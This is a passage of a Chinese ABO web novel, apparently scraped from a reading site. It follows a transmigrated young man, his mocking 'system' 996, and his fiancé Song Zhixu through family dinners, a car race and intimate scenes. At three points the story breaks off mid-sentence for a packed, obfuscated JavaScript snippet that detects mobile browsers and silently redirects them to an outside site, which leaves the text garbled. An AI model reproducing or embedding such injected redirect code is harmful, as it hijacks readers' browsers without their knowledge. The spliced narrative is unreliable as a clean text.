车门被摔的震天响,摔了车门的Omega似乎没想到动静会这么大,背影很明显的一僵,站了好几秒破罐子破摔头也不回的往家走,陆则对他摔门很无所谓,毕竟刚对这漂亮小O耍完流氓,没甩巴掌就不错了。 他一直看着宋知许的背影消失在眼前才一打方向盘,一脸哽咽的对996开口,“我真傻,真的。” 996很懵,不明白宿主为什么突然一脸悲痛,【什么?】 “我单知道‘陆则’是个人渣,不知道他还是个流氓。” 【是吗宿主】996一脸狐疑,不是很相信他,【我怎么觉得你没有后悔全是回味呢。】 陆则瞟了眼后视镜左拐,“但是你没有觉得他坐完我的车车里边都是香香的吗。” 【呵呵。】996很人性化的冷笑一声,【男人,嘴上说着不要不要,身体却很诚实。】 * 回到陆家已经接近十一点,陆则开了半天车累的要命,哼着歌在玄关处换鞋,随意的往客厅看了眼陆母正穿着身柔软的睡衣拿着个水杯喝水。 “妈你怎么还没睡?”陆则有些惊讶的看了眼,“早点睡觉,熬夜对皮肤不好。” 陆母也很惊讶,“你怎么回来了?” 陆则:“?” 陆则慢半拍抬头,“……我不回家去哪?” “你不是跟宋家那个Omega吃饭去了么。” 陆则不吭声。 陆母把水杯一放坐在沙发上大有发表长篇大论的意图,“你们什么时候要孩子啊?” 陆则:“……” “我跟你说该要了啊,不然等你四五十孩子才十几岁你就老实了。” 陆则张嘴就开始乱说,“我不想跟Omega睡觉。” “胡说八道什么呢你。”陆母瞪他一眼。 “而且妈,我就出去吃个饭,又不是出去喂他吃饭。”陆则没什么表情往卧室走,“我吃完饭回家不正常么,这么惊讶干什么。” 陆母正想继续说,突然觉得他这话不对,品了下脸一下子又青又紫,顿时不吭声了。 等回到卧室耳边终于清净了,陆则脸色古怪,“996,我好像知道陆则为什么这样了。” 【我也明白。】996说,【照你们的话来说这叫上梁不正下梁歪。】 “呦。你还知道这个呢?”陆则稀奇的看它,“你们也这么说?” 【不这么说,但意思是一样的。】996姿态优美的到处飞,【我们那里常说宿主不正系统歪。】 陆则脱了衣服扔进脏衣篓里,打开花洒冲洗,浴室玻璃上慢慢爬上一层水汽,那点已经闻不到的味道被热气一蒸存在感又强烈起来,他仔细辨别了下,觉得很醇厚,很像是点了根香在燃烧的味道,随口问,“什么叫宿主不正系统歪?” 【宿主觉得996怎么样呢?】 陆则想了想实话实说,“有点贱,嘴贱。还有点逗比。” 996被说嘴贱也不生气,很淡定的解释,【每个系统在进入新世界后词汇库那些奇怪的东西都会被消杀,所有系统都是进入世界后现学的,最大的参照物就是宿主,词汇,性格大部分会参考学习宿主。】 【宿主你觉得我逗比,那证明你也逗比。】 【我贱,你更贱。】 “是。”陆则也不生气,“的亏我没妈。” 996很疑惑,【什么意思?】 “意思是我现在要问候你妈了。” 996腼腆一笑,呲着个大牙,【我也没妈!】 * 阳光充沛的花房里种着各种姹紫嫣红不知名的花,颜色搭配和分布饶是陆则这个不懂欣赏的人也觉得赏心悦目,其中最为赏心悦目的还是站在桌前正剪着洋桔梗的漂亮的Omega。 他拿着支洁白的洋桔梗,穿着件嫩黄色的外套,整个人看起来干净又温暖,很耐心的站在那里插花,看见陆则进来跟他笑了笑,示意他坐在一边的藤蔓长椅上。 陆则往椅子上一摊,看起来颇为倦怠的垂着眼打瞌睡,Omega却不肯让他休息,边插花状似随意的开口,“今天早上我起来炖了汤,熬了好几个小时,中午要不要尝一碗?” 【宿主!】996把光屏怼在陆则脸上让他看。 【Omega满心欢喜的向陆则展示自己的引以为傲的厨艺,很是殷勤小意的为他盛汤。 陆则垂着眼瞟了眼那碗色泽相当诱人的汤,又看了眼Omega选择了无视。 热气腾腾的汤很快就凉下来,宋知许踌躇了会儿重新拿个碗盛了一次,“喝一点吧?我熬了很久。” 面对Omega三番几次的讨好Alpha才像是满足了什么恶趣味,很是矜持的接过喝了口,又大发慈悲的嗯了声,也毫不意外的在这个说喜欢自己的Omega脸上看到了欢喜的神色。 “一般。” 他放下了碗点评道,Omega脸上的笑僵了僵,又很勉强的笑了下。 “我会继续学的。”】 “别毒死我。”陆则垂着眼把玩手腕上那块表。 “我很小就在学啦。”宋知许语调很轻松,又冲他笑的甜蜜蜜的,“插花、烹饪一些Omega要会的我一直在学。” 陆则:“……” 宋知许看陆则不吭声,拿不准他到底是满意还是不满意,只好把声音放的更软了些: “去吃饭吧?” …… 或许是因为有陆则这个客人,可以容纳十几个人的桌上饭菜摆的很满,餐桌上不要去探离自己太远的饭菜几乎是一种彼此默认的餐桌礼仪,陆则身高手长的,吃腻了眼前的菜,也不管什么礼仪不礼仪,伸手夹了道青菜。 他的举动对坐在对面的宋女士和宋父谈不上多尊重,但也没出什么大岔子。 “没有看到小陆夹不到菜吗?”宋女士开口,“小陆还想吃什么,让知许给你夹。” 第二次见面陆则终于正眼观察了几下这位宋女士,她保养得当看起来不显老,但年龄上去脸部胶原蛋白的流失让眉眼间那股凌厉的气势更加明显,饶是对陆则对么亲切的笑也不难看出平时在生活中是个极其刻薄的人。 他用眼角余光打量了几眼宋知许,这个漂亮纤细的Omega低着头紧紧绷着唇,在准备站起来前似乎是想放松面部表情露个笑,脸上肌肉却不受控制的抖了抖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740432|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他垂着眼没什么表情,站起来拿起公筷准备去夹他想吃的菜,陆则擦了擦嘴角,“不吃了,喝汤。” 宋知许低低嗯了声,撩起有些长的袖子去盛汤,陆则视线落在他细的过分的手腕一秒又移开,等这碗汤摆到面前又在他手腕上扫了一眼,“怎么搞的?” 宋知许放下碗重新坐下,拉了拉袖子,“小时候淘,不小心的。” 宋女士冷不丁开口,“找时间去激光祛疤,留个疤在手腕上不好看。” “嗯。”宋知许很温顺的应了声,又去看陆则,“尝一下吧,好喝吗?” 这个Omega似乎脆弱的要命,现在迫切的希望能得到陆则的肯定。 有些烫的汤进嘴香顿时蔓延到整个口腔,陆则咽下避开他期待的目光,很是无情,“一般。” 宋女士没什么表情跟陆则笑了笑,“知许从小就笨,学什么都学不好,学了这么多年连个汤都做不好。” 宋知许低着头很慢的应了声,“我会好好学的,不好喝就别喝了吧……?” 陆则没好气,“学什么学,保姆是干什么的。” 宋知许正低着头扣手腕处的疤,闻言表情怔了怔,抬头很讶异的看了眼陆则,又看了眼坐在对面表情略有缓和的宋女士,屁股很不自觉的在凳子上挪了挪,坐着一点凳子边边靠在了陆则身边。 吃这顿饭看着对面宋女士那张脸陆则比面对陆母催婚催生还恶心,吃一顿饭膈应够呛,刚下餐桌不想吃什么饭后水果也懒得再跟他们寒暄拎了外套准备回去。 Omega被支出来送他,陆则现在连宋知许都不想看,看见他就觉得窝囊的气人,要换他他早掀桌了,跟他在这儿谁俩呢? ……算了,他也是要欺负宋知许的人渣。 宋知许没被他欺负死他就得先被宋知许窝窝囊囊给气死了。 陆则觉得自己上火的开始牙疼,有种回去给那个宋女士冲脸上一锤的冲动。 陆则扶着车门站了会儿,身后的Omega能感知到眼前的Alpha心情极度差劲,跟在他屁股后面一声不敢吭。 陆则居高领下看他,“手腕上真是小时候整的?” 宋知许低着头连嗯两声。 骗鬼呢,小时候留下的疤随着长大会被撑开,不同时期留下的疤完全不一样。 陆则不想跟他说话了,很心烦的扫了他一眼开门,“行了回去吧。” 宋知许眼巴巴的看着他,眼睛又慢慢红了,“……以前割腕留下的。”他动作很小的去拉陆则的衣摆,“你别生气。” 陆则:“……被谁欺负了,你妈啊?” 宋知许瘪着嘴不吭声。 陆则气笑了:“真行,那咱俩还真是同命相连啊,你妈欺负你我妈欺负我,在家窝窝囊囊的苦命鸳鸯啊。” 宋知许眼睛更红了,眼里极快的浮现了一层水雾,似乎又要哭。 ……操,这个窝窝囊囊的Omega,看着就来气。 他又像那天在包厢外一样,很慢的钻进陆则怀里,自己脸上还挂着泪反倒一下下抚陆则的背,“你别生气。” “今天谢谢你给我说话。” 他什么时候给宋知许说话了? 请保姆那句? 陆则靠着车脸色还很难看,宋知许眼见着哄不好扶着他的肩膀一踮脚尖凑过来了,陆则皱着眉看着他,摸不着头脑这窝囊Omega到底要干嘛。 下一秒,脸上就落下了一个湿热的、很温柔带着香气的吻。 5. 第五章 “你今儿不上啊?” 常综摘下头盔往陆则这走,边解开扣子散热边稀罕的看了他一眼,怨不得他稀奇,以往他们一起跑圈什么的属陆二少积极,这里边水平最好的也是陆则,哪次不是他出风头,肾上腺激素的感觉实在让人上瘾,更何况他今天还带着个漂亮Omega。 想到这儿常综很隐晦的瞥了眼坐在一旁像个漂亮的装饰的宋知许,该说不说带出的Omega漂亮显得陆则都比往常贵气,他实在拿不准陆则含含糊糊的态度,常综又不是个二逼,他才不像上次似的打头阵往上冲呢! 陆则刚才观察他们跑圈,都是组局玩玩不至于快的离谱,但一群争强好胜的Alpha聚在一起争名次也不会有多慢,总之不会的上去踩完油门就跟跟着赛车祭天给明天新闻来个大的。 陆则散漫的眯着眼,正想着用什么理由搪塞搪塞,一道深入骨髓的、一瞬间遍布全身的电流让丝毫没有防备的弓了下身体,几乎是在下一秒他就锁定了罪魁祸首,咬牙切齿的问,“……996?” 996淡定的要命,【怎么啦宿主?】 “你电我?” 【是的呀宿主。】 陆则开始磨牙,“我干什么了你电我?” 【也不是我想电宿主,剧情完成度预警了哦~】996很荡漾的加了个波浪号。 “多少?”陆则没好气的问。 【57哦宿主~】 陆则:“多少?!”陆则简直不敢相信自己的耳朵,还心存侥幸的开口,“满分是60分制度?” 【不是哦宿主,百分制呢~】 “你不早说?”陆则不可置信,“我是第一天57的吗?” 【不是哦宿主~】996将所有失分点列在大屏上给他看,【宿主打擦边球完成度都不高,日积月累扣着扣着就57啦~】996说着开怀大笑起来。 陆则:“……” “我一直扣分?你一个字都没跟我说。” 【本来是想说的。】996慢吞吞开口,【但是宿主那五个马上后我已经看出宿主是什么人了,所以就没告诉宿主,还是逼宿主一把吧~】 996看起来欢欣雀跃,【如果不完成赛车场口口剧情宿主将进行24小时的点击哦,大概是刚才点击预警的max版~】 【电流不断加加加加到厌倦~】 陆则沉着脸骂了声娘跨过面前的座位往场子里走,走了几步头也不回的对宋知许开口,“来副驾。” 常综看着突然心情就变差的陆则一脸莫名其妙,吃炮仗了这是? …… 陆则戴上头盔还在跟996互相讽刺,“你这相当于逼一个没有驾照的人开到120迈在市区里,不仅自己想死,还想让别人也死。” “你真不是人啊。” 【我是系统,我不是人。】996说。 陆则清楚这死系统知道不是人是骂它的话,故意在这儿装傻气他呢。 陆则看了眼副驾的宋知许,“把头盔戴好了,没看见他们什么速度,以为跟你闹着玩呢。” “我不怎么会戴。”宋知许一脸为难。 陆则长叹了口气认命的解开安全带去给他调整头盔,宋知许大概是为了配合他的动作偏着身体,又像是一直这么坐坐不稳,干脆扒拉着陆则的胳膊来维持平衡,还不忘顺便再来夸陆则几句,“我当然知道你们不是闹着玩啊,也看到很快了,但我觉得你开的一定比他们好。” “是。”陆则像在开玩笑一样的幽幽开口,“他们开的哪比得上我啊,他们在场上开,我一会儿直接飞外边祭天了。” 宋知许一脸你在说什么我根本不相信都这种时候你就别谦虚了。 陆则没脾气了,系好安全带扶着方向盘再一次思考自己跟宋知许到底什么仇什么怨,不会开还得拽个人上车跟自己一起祭天。 可现在场景显然容不得他再去思考什么仇啊怨啊的,大屏幕上十个数的倒计时已经开始,陆则略显焦躁的攥了攥方向盘,接着头盔的遮挡叹了口气,在倒数到五的时候专心致志的看向前方。 几辆赛车冲出线划出一道道漂亮的影子,最前方的是一辆绿色车身极其流畅有观赏性的车辆,场上几辆车颜色都不一样,场外人一眼就能辨认出这是属于陆则的那辆。 常综吹了个口哨,也不管场内陆则根本听不到直呼则哥牛逼。 其余几个朋友也颇为捧场的开始鼓掌。 996的自动驾驶还没用出去就发现陆则是真的会开,一声桀桀桀卡在它嘴里不上不下,它想了想还是开口,【桀桀桀,宿主你原来会开车啊。】 陆则专心的控制赛车没空搭理它,996继续问,【宿主你要不要自动驾驶?本来打算给你用的,结果你还真会开啊。】 “别他妈废话你倒是用啊!” 下一秒双手似乎被某种奇特的力量控制,接替了原本控制这辆赛车的陆则。 陆则把一直憋在喉咙里的那口气给喘出去了,这才发现自己出了不少汗,被系统控制的双手依旧传来僵直的麻麻的感觉,他这下终于能抽出空跟996搏斗,“反派死于话多知不知道啊,你再给晚一点我车就飘出去了。” 【不吓吓宿主宿主是不会好好做任务的。】996强调,【但那个57可没吓唬宿主,那东西多少的完成度就是多少,骗不了人。】 陆则把满腔骂人的话全咽进嘴里。 ……这系统根本不是人,跟它说也白说。 【但是宿主你不是说你不会开赛车吗,我看开的颇有大将风范。】 陆则:“……我开赛车出过车祸,现在能开车就不错了。” 996很惊讶的啊了声,陆则甚至都以为它良心发现开始反思自己不该逼宿主来开赛车,却听996若有所思又恍然大悟一般,【下次要提前给宿主做个问卷,这实在是重大工作失误。】 他就不该指望这种不是人的玩意有类似同情的情绪。 …… 不用自己控制这跑圈的二十分钟就变得相当漫长,陆则没法做出在开赛车时不该有的一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740433|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举动,也不能扭头去看副驾宋知许什么反应,更何况对方戴着头盔什么也看不清楚。 他数着圈数,绿色的赛车首当其冲的冲过终点线,摆放在那里的摄像头尽职尽责的记录下冲线的时刻,随即等一二三名出炉后开始循环往复的在大屏上播放冲线以及精彩时刻以供这群大少爷们反复品味他们的英姿。 赛车停下时陆则终于拿回自己身体的使用权,他活动了下长时间保持一个动作有些发麻的手臂,后知后觉的闻到了车内无法忽视的来自身旁Omega的信息素。 冲线后Omega像是才反应过来,过分的刺激与那点害怕,还有些被赛车运动搞出的肾上腺激素都不可控制的让他的信息素因为情绪不稳有些外泄。 环境密闭的车厢里弥漫着属于宋知许的有些醇厚的信息素的味道,一直以来被陆则刻意去忽视的后颈那块软肉在抑制贴下突突的跳动,一块小小的腺体在片刻带着陆则整个身体都热了起来,似乎脑子都有些热的不清醒了。 陆则第一次直观感受到这个所谓的ABO世界下信息素的威力。 他降下车窗摘了头盔,伸手解开安全带去脱宋知许脑袋上那个不算合适看起来有些笨重的东西,宋知许的脑袋被闷在头盔里二十分钟终于解脱出来,额角还沾着几缕有些湿的发丝,他看起来很兴奋,眼睛亮的要命,对赛车的热情一下子被点燃起来,声音里微微带着些撒娇似的嗔怪,“我就说你很厉害吧。” 陆则默不作声看了他几秒,冷不丁开口,“你闻不到你的信息素泄露出来了么?” 宋知许这才陡然一惊,立马伸手捂住了自己的后颈,下一秒就去看陆则降下的车窗催促他,“关上呀,不要让我的信息素泄露出去了,外面全是Alpha。” 那你是觉得这种密闭空间你身边这个Alpha就安全了? 陆则没问,从驾驶座下车动作很快的把副驾驶的门打开,几乎是把宋知许从副驾掏出来的,拽着跌跌撞撞的宋知许往休息区走。 这一排休息区有无数个房间,宋知许刚从头盔里出来不久,高温的脑子还没清醒就被陆则粗暴的拽着推进这个漆黑的房间,他下意识扶着墙站稳,下一秒就被Alpha压住了。 不算很熟悉的鼻息扑在他脸上,一双看起来很亮的眼睛是在这片黑暗中少数能看清的东西,宋知许脑子很热,但又极度清醒,他计算着利弊得失,没躲开落在自己唇上的吻。 这吻生涩但又粘腻,宋知许顺从的踮着脚尖仰着头,唾液中包含的这点信息素宋知许觉得不至于让一个Alpha兴奋,但事实上,压在他身上的陆则像是第一次接触O的信息素一样,肉眼可见的兴奋起来。 腰上陌生的触感让他不安起来,本来做好的打算在此刻又动摇,他很难克制自己反应的挣扎了几下,陆则动作顿了顿,勉为其难的放开了宋知许被蹂躏发红的嘴唇,皱着眉看起来很凶,声音带着浓重的鼻音,听着跟往常语调大不一样,有些燥,还有些说不出的端着的漫不经心: “怎么,不给碰?” 6. 第六章 【Omega可怜的哆嗦着,信息素不受控制的一股股外泄又被房间里的净化装置很快处理干净,醇厚的味道因为痛苦而变得苦涩异常。 他脸色白的厉害,额头上全是汗,无处可以依靠只好死死攥着陆则的肩膀,掐的陆则很不悦的啧了几声于是更刻意的加重力道故意折腾他。 宋知许脸上全是难以掩饰的屈辱的神色,又怕陆则看见只好低着头,身下火辣辣的疼他也只能徒劳的倒吸着凉气去忍耐。 时间的流逝太过漫长,宋知许盯着墙看了会儿觉得很晕于是闭着眼忍耐着、在心里祈求这个Alpha早点结束这场单方面的折磨。 不知过了多久,腰上那双手撤开他腿一软就跪倒在地上,宋知许抖着手扯了扯不算长的短袖下摆,顶着头顶那道视线难以遏制的抽噎了两下。 “委屈?”Alpha看起来心情不错,“我又不是不会娶你。”】 宋知许的嘴唇很红,虽然房间里有空气净化装置身前Alpha的信息素还是一股脑的往他鼻子里钻,这种像是咬破水果表皮爆汁后清甜的味道很好闻,他迷迷糊糊挂在陆则身上还在思考他的信息素居然是水果的味道,直到陆则颠了颠他又问了一遍。 宋知许看着眼前极其潦草的环境,饶是有所准备还是心里一酸控制不住抽了下鼻子也带着浓重的鼻音,“……给的。” 陆则有一下没一下摸着他的后背,听见他的声音顿了几秒扣着后颈把环着自己脖子的Omega撕下来,“哭什么?”他说着用指腹擦了擦宋知许的眼尾,只有睫毛上一点点几乎可以忽略不计的湿润。 他捻了下指腹那点湿润,又扣着宋知许的后脑勺把他按进怀里,一下下亲他的眼皮、鼻尖、唇角和有些肉触感非常好的脸颊,像是婴儿肥似的,似乎还有点若有若无的奶香,陆则的鼻尖在他脸上顶下一个小坑,嘬了几口他的脸颊,绵软的脸颊肉被嘬进嘴里说不出的可爱跟有意思,陆则没忍住笑了下上瘾一样的又嘬了几口。 宋知许的脸湿湿的,还被嘬的有些痛,他的眼睛也湿湿的,小声开口,“痛……” “痛啊……?”陆则叹息着说,又趁说话的时候嘬了几下才放开。 对面人的呼吸有些重,宋知许很安分的等着他继续亲,陆则却迟迟没动作,扣着后颈的手摩挲了好一会儿,贴着抑制贴的腺体似乎都发起烫,那只手终于挪开了,从脊背一下下的往下挪落到腰上随即箍着他的腰紧紧扣在怀里,脑袋也埋进了他的脖颈鼻尖抵着他的脖子呼吸很沉的闻他的味道。 宋知许僵了会儿又慢慢抱上他的脖子维持身体的平衡,感知着喷洒在脖子上的热气和将自己紧紧抱住的身体。 陆则觉得自己很不对劲,重重喘了口气开始叫996,“996,出来,快点。” 黄色灯泡现在变成了一只布满马赛克的灯泡,像个无头苍蝇分辨不清方向一样嗡嗡的飞,【怎么了宿主?】 “我是不是中药了啊。”陆则想着这种小说的尿性,很不确定的问。 【是的哦~】 陆则刚想说果然如此就被996下一句油的打了个哆嗦。 【您中了名为宋知许的药哦~】 陆则:“……说人话。” 【好的呢宿主。ABO世界虽然有抑制贴和抑制剂的存在,但人们日常生活中不可能一点味道都泄露不出来,所以在这个世界每个人从出生到分化都生活在有各种各样的信息素的环境,实际上对信息素会有一定的抵抗性,但宿主没有哦~唾液中含有信息素,所以宿主你亲个嘴就很激动~】 陆则:“……” 陆则说不出话,996说完就跑下线没影儿了,他埋在宋知许脖子里焦躁了重重吻了几下,几乎克制不住某种冲动,被抱了很久也被对方信息素熏的飘飘然的宋知许脚下突然一空,没过几秒就被放在了桌子上,陆则挤进他腿间重新去重重亲他的脖子缓解心头那点燥,指尖在对方衣摆边缘游离了很久,终于很慢又犹豫的按上了宋知许没有一点多余肉的腰,指尖下的皮肤又哆嗦了下,宋知许有些慌乱的抓住他的手腕却又在一下下带着安抚意味的吻下松了劲。 “不动你。”陆则的脑袋还在宋知许脖子里埋着,他的手被扯着往下,直到碰到某个东西时脑子轰的一下烧了起来。 “行不行?” 陆则这么问。 …… 宋知许一直像个鸵鸟一样低着头捂着侧脸跟在陆则后面,看他应付完那群Alpha带他坐进了车里才放开红彤彤的侧脸。 他在车上的镜子看了眼,脸顿时更红了,他实在没想到、想到这么…… 侧脸上被吮出好几个颜色深深的草莓,脖子也红彤彤一片,他就剩两只手全用来捂脸和捂脖子了,脸红的要命,不肯看陆则也不肯跟他说话。 陆则看了几眼也觉得没眼看,他就多嘬了几口就成这样,虽然两人已经订婚不错,但宋知许怎么回去见他那个刻薄的妈和没有存在感的爹? “ 冰敷下?”得到宋知许低低的一声嗯他方向盘一打朝路边拐了,解了安全带下车,“你在车上待着,我一会儿就回来,喝水么?” 宋知许看了眼时间摇了下头,“不喝了,喝了明天会肿。” 陆则还是拿了两瓶水回来,他边开车边用余光去观察宋知许,他捂着冰袋敷完脸去敷脖子,看了放在中间的矿泉水一眼,抿着被吮到发红微肿的唇很犹豫。 陆则随口劝,“喝呗,你又不是什么明星什么的需要上镜,肿就肿了。” 宋知许大概是真想喝,被陆则一劝就松动了,他喝了一小半跟陆则撒娇一样的埋怨,“你把我嘴巴吸的很痛又干。” 陆则:“……” 身旁Alpha信息素似乎波动了下,宋知许眼睛闪了闪声音放得更软了一点发出了一声嗯? 陆则踩了刹车,飞快扫了一眼他身上的痕迹,“你就这么顶着回去没事吧?” “没关系呀。”宋知许心里冷嗤一声,脸上还是笑着的,“你又不是别人。” …… 宋知许的手摸上房门,放在口袋里调成震动的手机不停的有消息发进来,他不用看也能猜到是谁,于是没有看手机径直推开了房门,果不其然宋女士已经在客厅等着了。 他身上的痕迹虽然经过冷敷但依旧明显,宋女士一眼就看到了本来就不好看的脸色更难看了,“哪搞的。” 宋知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740434|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许知道她明知故问,故意在那慢吞吞换鞋不理她,宋女士果不其然继续开口,“你真是不要脸啊,出去被Alpha搞成这样,顶着这样你接下来几天怎么出门,别人看见怎么想你啊,不检点。” 宋知许沉着脸,想了想又笑了,“不是您说夜长梦多迟则生变让我去找陆则要标记的吗?” 宋女士提高了声音,“我是让你去要标记,不是让你被嘬一脸一脖子印子摆在这儿,给谁看啊?再说你要到标记了吗?” 他就知道……他就知道,宋女士根本不关心别的,也不在意陆则对他干什么,但绝不能像现在这样搞出一身乱七八糟的印子招摇过市,她清楚陆则对这婚事不满意,她清楚陆则不是个安稳的人爱玩,她就在赌陆家要脸面标记了人家别人家的Omega肯定会娶回去。 卖儿子卖的真顺手啊。 宋知许咬了下牙又扯起一个笑,“是,没要到,没按照您的要求出去送给别的Alpha//C/真是让您失望了。” “你怎么说话呢?”宋女士很不可思议的看他,“你觉得你是要嫁出去翅膀硬了?” “我在阐述事实啊,您不就是卖儿子么,我忘了,您卖的太顺手了,我两个Omega舅舅不就全被你卖出去了?”宋知许咬着牙一字一顿,“您就是在把自己儿子送给一个刚见过几面的Alpha//C/。” 宋女士大概气狠了,眉毛都立了起来,指着宋知许鼻子,“我告诉你,你要是在外边敢说这么难听的话我饶不了你,这是你个Omega该说的话吗?啊!” 客厅里劈里啪啦的声音震天响,宋知许躺在床上身心俱疲,这家隔音不是很好,某个怀他十个月千辛万苦的那个懦弱的Omega父亲估计早早上床装起了缩头乌龟,饶是反抗了宋女士宋知许依旧觉得乏味的很,他想了想点开陆则的聊天框就着劈里啪啦的背景音给他发语音,“我已经躺在床上啦~” 宋知许盯着手机等了会儿,突然觉得自己看着手机的样子挺傻逼的,于是扔了手机去浴室洗澡,他尤为仔细的把手洗了好几遍,想起当时的触感耳朵又烫了起来,但他很快又不高兴了,虽然把他来回嘬了一遍也没有一个临时标记,但陆则及时刹车挺好的。 太潦草了,他为自己不甘起来,小时候讨好父母,长大了还要讨好Alpha。 即使这个陆则多金又帅,对他态度也还算不错,可那又怎样? Alpha都是需要捧着的生物,陆则对他还算不错难道不是因为他百依百顺又句句讨好么。 他叹着气换好衣服出来又去看手机,陆则大概在十几分钟前回复。 【陆:嗯。】 【陆:背景什么声音?土匪来了?】 【S:没有,是我妈妈在发脾气。】 对面这下回的很快,对面的背景听着很安静,陆则略显懒散的声音从话筒中传出来,“你妈真刻薄。” 宋知许没有由头的被逗笑了,也附和陆则,“是的,她是个刻薄的Alpha。” 他又按着话筒对手机叹了下气,“她每天都刻薄的欺负我。” 宋知许按着话筒想了想,又对着说: “她说我不检点。” 7. 第七章 Omega对孩子的爱来自于那紧密结合的十个月,婴儿在母体中的每一次翻身、给予母体的每一次反馈,母体分泌的激素,亲身诞育一个生命的过程都让Omega发自内心的喜爱。 可不是每一个Omega都会爱,更遑论只提供了一颗精/子的Alpha。 尤其是一个能说出自己孩子不检点的人陆则觉得更没有任何爱可言。 他见过这种家长,自私自利在自己的孩子面前发挥那种大家长的权威去打压贬低来满足自己,利用小孩子天生对双亲的亲近与无法割舍去控制。 …… 宋知许抱着个手机坐在副驾刷视频,他穿了件高领的衬衫,脸上应该是上了遮瑕,虽然没完全遮住看看着也不大明显,玩着玩着大概是注意到了陆则的视线,从随身携带的小包里拿了支护手霜出来往右脸涂着化掉遮瑕擦干净,指着有些发紫的草莓控诉,“你看。” 【禽兽啊禽兽~】996飘过,【3Q啊3Q。】 陆则也被吓了跳,“这么严重?” 宋知许嗯嗯两声由从包里掏出遮瑕举着镜子仔仔细细的掩盖,“第二天睡起来就成紫色的了。”他遮了一半从镜子里看陆则,一直看到陆则迫不得已回看了一眼才继续开口,“你怎么不问我为什么带遮瑕啊?” 为什么?怕我兽性大发再嘬你一身红印子方便掩盖,省得你的刻薄妈继续说不中听的话。 饶是这么想陆则还是很配合的问,“为什么?” “让你心疼我呀。” 陆则一噎,不回宋知许的话去跟996吐槽,“他真会啊。” 回应他的是996三声啧啧啧。 “你快过生日了吧?”陆则转移话题。 “对呀,你要带我去买礼物啊?”宋知许脸上又带了微微的笑意。 真被宋知许说中了。 俩家既然订婚那宋知许的生日陆则甚至是陆家人起码要出场几个,他妈打听了下知道宋知许大学是在国外弹钢琴的,于是花了大价钱从沃伦·斯拉——国外有名的钢琴制作传承家族那里买了一架琴。 钢琴制作周期不短,他们是临时起意没提前预约,本来都打算换个礼物,但最后还是从已经预定好的人手里买了一架,前不久刚从国外运回来打算在宋知许生日宴上送出去。 陆则想了又想还是打算私下再送他一份礼物,他对宋知许不了解,既然这样不如让他自己挑,私下送就送个他自己想要的、合他心意的。 “是,你想要什么?” 宋知许脸上笑意大了一些,带着浅浅笑的眼从陆则脸上略过了一下用开玩笑的口吻,“送礼物不应该保持神秘么,到时候给我一个惊喜。” 陆则:“生日上还有别的,这个是我送你的。” “你在礼物盒上署名陆则,我只要看到名字就知道是你送的啦~然后不管送什么我肯定都特别高兴。” 陆则已经不知道在心里叹了多少气,“宋知许应该去当爱豆,估计他会平等的去媚每一个粉丝。” 【原来宿主知道他在媚你啊。】996幽幽开口,【我还以为被哄的肚兜已经挂在宿主肚子上然后宿主不知天地为何物了呢。】 陆则额角青筋暴起,“……不要乱用梗,你又从哪学的。” “他难道不是第一次见我每一句话都在讨好我么。”陆则说,“看着偶尔刺刺的劲劲的,实际上在心里渴望讨好每一个人,他是不是讨好型人格啊。” 996摊手,【996不是精神科大夫哦,宿主可以带他去精神病科看看。】 陆则:“……” 莫名其妙带别人去看精神病科到底谁有病啊。 他就知道这996脑子不正常。 等他有能力了非得把宋知许那个刻薄妈先送进去绑起来镇定镇定,昨天一个人搞出了千军万马的气概,就像是大兵过境活脱脱一个狂躁症。 …… 他带着宋知许往上逛,对方看起来兴致不高,粗略逛了逛就出来换下一家,直到上了顶层他看了眼挨着的卡地亚和蒂芙尼似乎拿不定主意,陆则粗略从外面看了眼觉得两家胸针都可以,很合适当礼物,“都看看?” 宋知许矜持的嗯了声,率先走进卡地亚在胸针区看来看去,陆则进来才发现一半是胸针一半是戒指,也选择性的忽视了那半个戒指的区域跟在他身边一起看胸针,宋知许问他的意见,“你觉得我适合哪个呀?” 他虽然在问陆则,但目光却落在了水果锦囊系列里某个胸针上。 ……他的信息素就是各种水果混杂的味道。 陆则问:“你真喜欢这个?” “对呀。”宋知许似乎很奇怪他为什么会这么问。 卡地亚水果锦囊系列的项链胸针基本在拍卖场出现,成交价在百万到千万间不等,眼前这个标价八十多万,是该系列做工宝石都稍次的产品。 陆则实话实说,“跟你气质不是很搭。” “哦……”宋知许似乎很失落的垂了垂眼睛。 陆则觉得讨好型人格烦的要命,都说是出来给他买礼物,不挑自己喜欢的哪怕挑个贵的,结果就在这儿无时无刻的开媚,“……算了,直接包起来吧。” 